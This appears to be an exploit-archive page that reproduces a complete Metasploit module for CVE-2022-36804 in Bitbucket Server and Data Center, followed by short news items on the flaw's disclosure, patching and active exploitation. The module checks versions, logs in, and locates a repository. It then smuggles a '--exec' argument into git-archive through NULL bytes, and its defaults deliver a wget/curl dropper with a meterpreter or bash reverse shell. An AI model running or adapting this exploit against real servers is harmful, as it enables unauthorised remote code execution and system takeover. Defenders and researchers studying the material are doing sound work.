Headline
Bitbucket Git Command Injection
Various versions of Bitbucket Server and Data Center are vulnerable to an unauthenticated command injection vulnerability in multiple API endpoints. The /rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive endpoint creates an archive of the repository, leveraging the git-archive command to do so. Supplying NULL bytes to the request enables the passing of additional arguments to the command, ultimately enabling execution of arbitrary commands.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Bitbucket Git Command Injection', 'Description' => %q{ Various versions of Bitbucket Server and Data Center are vulnerable to an unauthenticated command injection vulnerability in multiple API endpoints. The `/rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive` endpoint creates an archive of the repository, leveraging the `git-archive` command to do so. Supplying NULL bytes to the request enables the passing of additional arguments to the command, ultimately enabling execution of arbitrary commands. }, 'License' => MSF_LICENSE, 'Author' => [ 'TheGrandPew', # discovery 'Ron Bowes', # analysis and PoC 'Jang', # testanull - PoC 'Shelby Pace' # Metasploit module ], 'References' => [ [ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html' ], [ 'URL', 'https://attackerkb.com/topics/iJIxJ6JUow/cve-2022-36804/rapid7-analysis' ], [ 'URL', 'https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/' ], [ 'CVE', '2022-36804' ] ], 'Platform' => [ 'linux' ], 'Privileged' => false, 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ], 'Targets' => [ [ 'Linux Dropper', { 'Platform' => 'linux', 'Type' => :linux_dropper, 'Arch' => [ ARCH_X86, ARCH_X64 ], 'CmdStagerFlavor' => %w[wget curl bourne], 'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => 'unix', 'Type' => :unix_cmd, 'Arch' => ARCH_CMD, 'Payload' => { 'BadChars' => %(:/?#[]@) }, 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' } } ] ], 'DisclosureDate' => '2022-08-24', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ IOC_IN_LOGS ], 'SideEffects' => [ REPEATABLE_SESSION ] } ) ) register_options( [ Opt::RPORT(7990), OptString.new('TARGETURI', [ true, 'The base URI of Bitbucket application', '/']), OptString.new('USERNAME', [ false, 'The username to authenticate with', '' ]), OptString.new('PASSWORD', [ false, 'The password to authenticate with', '' ]) ] ) end def check res = send_request_cgi( 'method' => 'GET', 'keep_cookies' => true, 'uri' => normalize_uri(target_uri.path, 'login') ) return CheckCode::Unknown('Failed to receive response from application') unless res unless res.body.include?('Bitbucket') return CheckCode::Safe('Target does not appear to be Bitbucket') end footer = res.get_html_document&.at('footer') return CheckCode::Detected('Cannot determine version of Bitbucket') unless footer version_str = footer.at('span')&.children&.text return CheckCode::Detected('Cannot find version string in footer') unless version_str matches = version_str.match(/v(\d+\.\d+\.\d+)/) return CheckCode::Detected('Version unknown') unless matches && matches.length > 1 version_str = matches[1] vprint_status("Found Bitbucket version: #{matches[1]}") num_vers = Rex::Version.new(version_str) return CheckCode::NotVulnerable if num_vers <= Rex::Version.new('6.10.17') major, minor, revision = version_str.split('.') case major when '6' return CheckCode::Appears when '7' case minor when '6' return CheckCode::Appears if revision.to_i < 17 when '17' return CheckCode::Appears if revision.to_i < 10 when '21' return CheckCode::Appears if revision.to_i < 4 end when '8' case minor when '0', '1' return CheckCode::Appears if revision.to_i < 3 when '2' return CheckCode::Appears if revision.to_i < 2 when '3' return CheckCode::Appears if revision.to_i < 1 end end CheckCode::Detected end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def authenticate print_status("Attempting to authenticate with user '#{username}' and password '#{password}'") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to reach login page') unless res&.body&.include?('login') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'), 'keep_cookies' => true, 'vars_post' => { 'j_username' => username, 'j_password' => password, 'submit' => 'Log in' } ) fail_with(Failure::UnexpectedReply, 'Failed to retrieve a response from log in attempt') unless res res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'dashboard'), 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to receive a response from the dashboard') unless res unless res.body.include?('Your work') && res.body.include?('Projects') fail_with(Failure::BadConfig, 'Login failed...Credentials may be invalid') end @authenticated = true print_good('Successfully logged into Bitbucket!') end def find_public_repo print_status('Searching Bitbucket for publicly accessible repository') res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'), 'keep_cookies' => true ) fail_with(Failure::Disconnected, 'Did not receive a response') unless res json_data = JSON.parse(res.body) fail_with(Failure::UnexpectedReply, 'Response had no JSON') unless json_data unless json_data['size'] > 0 fail_with(Failure::NotFound, 'Bitbucket instance has no publicly available repositories') end # opt for public repos unless none exist. # Attempt to use a private repo if so repos = json_data['values'] possible_repos = repos.select { |repo| repo['public'] == true } if possible_repos.empty? && @authenticated possible_repos = repos.select { |repo| repo['public'] == false } end fail_with(Failure::NotFound, 'There doesn\'t appear to be any repos to use') if possible_repos.empty? possible_repos.each do |repo| project = repo['project'] next unless project @project = project['key'] @repo = repo['slug'] break if @project && @repo end fail_with(Failure::NotFound, 'Failed to find a repo to use for exploit') unless @project && @repo print_good("Found public repo '#{@repo}' in project '#{@project}'!") end def execute_command(cmd, _opts = {}) uri = normalize_uri(target_uri.path, 'rest/api/latest/projects', @project, 'repos', @repo, 'archive') send_request_cgi( 'method' => 'GET', 'uri' => uri, 'keep_cookies' => true, 'vars_get' => { 'format' => 'zip', 'path' => Rex::Text.rand_text_alpha(2..5), 'prefix' => "#{Rex::Text.rand_text_alpha(1..3)}\x00--exec=`#{cmd}`\x00--remote=#{Rex::Text.rand_text_alpha(3..8)}" } ) end def exploit @authenticated = false authenticate unless username.blank? && password.blank? find_public_repo if target['Type'] == :linux_dropper execute_cmdstager(linemax: 6000) else execute_command(payload.encoded) end endend
Related news
Bitbucket version 7.0.0 suffers from a remote command execution vulnerability.
Australian software company Atlassian has rolled out security updates to address two critical flaws affecting Bitbucket Server, Data Center, and Crowd products. The issues, tracked as CVE-2022-43781 and CVE-2022-43782, are both rated 9 out of 10 on the CVSS vulnerability scoring system. CVE-2022-43781, which Atlassian said was introduced in version 7.0.0 of Bitbucket Server and Data Center,
Categories: Exploits and vulnerabilities Categories: News Tags: Atlassian Tags: Bitbucket Tags: git Tags: CVE-2022-36804 Tags: RCE Tags: read permission International cybersecurity authorities are warning about the active exploitation of a vulnerability in Bitbucket Server and Data Center (Read more...) The post Actively exploited vulnerability in Bitbucket Server and Data Center appeared first on Malwarebytes Labs.
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added a recently disclosed critical flaw impacting Atlassian's Bitbucket Server and Data Center to the Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. Tracked as CVE-2022-36804, the issue relates to a command injection vulnerability that could allow malicious actors to gain arbitrary
Atlassian has rolled out fixes for a critical security flaw in Bitbucket Server and Data Center that could lead to the execution of malicious code on vulnerable installations. Tracked as CVE-2022-36804 (CVSS score: 9.9), the issue has been characterized as a command injection vulnerability in multiple endpoints that could be exploited via specially crafted HTTP requests. “An
Update now to protect against flaw
Multiple API endpoints in Atlassian Bitbucket Server and Data Center 7.0.0 before version 7.6.17, from version 7.7.0 before version 7.17.10, from version 7.18.0 before version 7.21.4, from version 8.0.0 before version 8.0.3, from version 8.1.0 before version 8.1.3, and from version 8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1 allows remote attackers with read permissions to a public or private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request. This vulnerability was reported via our Bug Bounty Program by TheGrandPew.